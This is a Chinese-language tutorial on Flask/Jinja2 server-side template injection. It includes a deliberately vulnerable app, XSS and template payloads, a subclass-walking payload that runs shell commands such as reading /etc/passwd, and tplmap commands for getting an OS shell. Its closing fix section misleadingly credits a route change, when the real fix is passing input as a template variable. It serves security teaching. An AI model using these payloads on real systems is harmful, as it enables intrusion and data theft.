Flask-SSTI注入

我的博客:acsec.xyz
微信公众号: Ac sec

一.概述

SSTI即服务端模板注入,是指用户输入的参数被服务端当成模板语言进行了渲染,从而导致代码执行。

1.Flask

Flask是一个基于python开发的web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个web应用程序。这个wdb应用程序可以使一些 web 页面、博客、wiki或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:
Werkzeug(一个WSGI工具包)
jinja2(模板引擎)


2.Jinja 2

  • Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的;
  • Jinja2是Flask框架的一部分,Jinja2会把模板参数提供的相应的值替换了 { { … } } ;
  • Jinja2模板同样支持控制语句,比如在 { % % } 中。

3.魔术方法

_ _ class_ _ 返回类型所属的对象
_ _ mro_ _ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
_ _ base_ _ 返回该对象所继承的基类
// base 和mro都是用来寻找基类的
_ _ subclasses_ _ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
_ _ init_ _ 类的初始化方法
_ _ globals_ _ 对包含函数全局变量的字典的引用


二.利用

1.环境搭建

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

Template()完全可控,可以通过name传参直接写入jinja2的模板语言

运行代码,访问http://127.0.0.1:5000。

Flask-SSTI注入_第1张图片


2.插入xss脚本

http://127.0.0.1:5000/?name=<script>alert(1)script>

Flask-SSTI注入_第2张图片


3.乘法运算

http://127.0.0.1:5000/?name={{2*8}}

Flask-SSTI注入_第3张图片


4.命令执行

cat /etc/passwd

http://127.0.0.1:5000/?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /etc/passwd").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

Flask-SSTI注入_第4张图片

whoami

更改popen()中的内容即可

Flask-SSTI注入_第5张图片


5.使用工具tplmap注入

安装

git clone https://github.com/epinna/tplmap
pip3 install -r requirements.txt 

使用

python tplmap.py -u 'http://127.0.0.1:5000?name=1'  //检测漏洞
python tplmap.py -u 'http://127.0.0.1:5000?name=1' --os-shell  //获得shell

Flask-SSTI注入_第6张图片

Flask-SSTI注入_第7张图片


三.防护

可以修改flask的修饰器@app.route("/ly0n")

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/ly0n")
def safe():
    name = request.args.get('name', 'guest')
    t = Template("Hello {{n}}")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

原理:将其路由到/ly0n页面进行访问测试,原本存在的代码注入漏洞就不存在了。


为了防止此类漏洞,应该像使用eval()函数一样处理字符串加载功能,尽可能加载静态模板文件。

此功能类似于require()函数调用。因此,应该防止本地文件包含(LFI)漏洞,不要允许用户控制此类文件或其内容的路径。

无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。

你可能感兴趣的:(web渗透,flask,python,网络安全)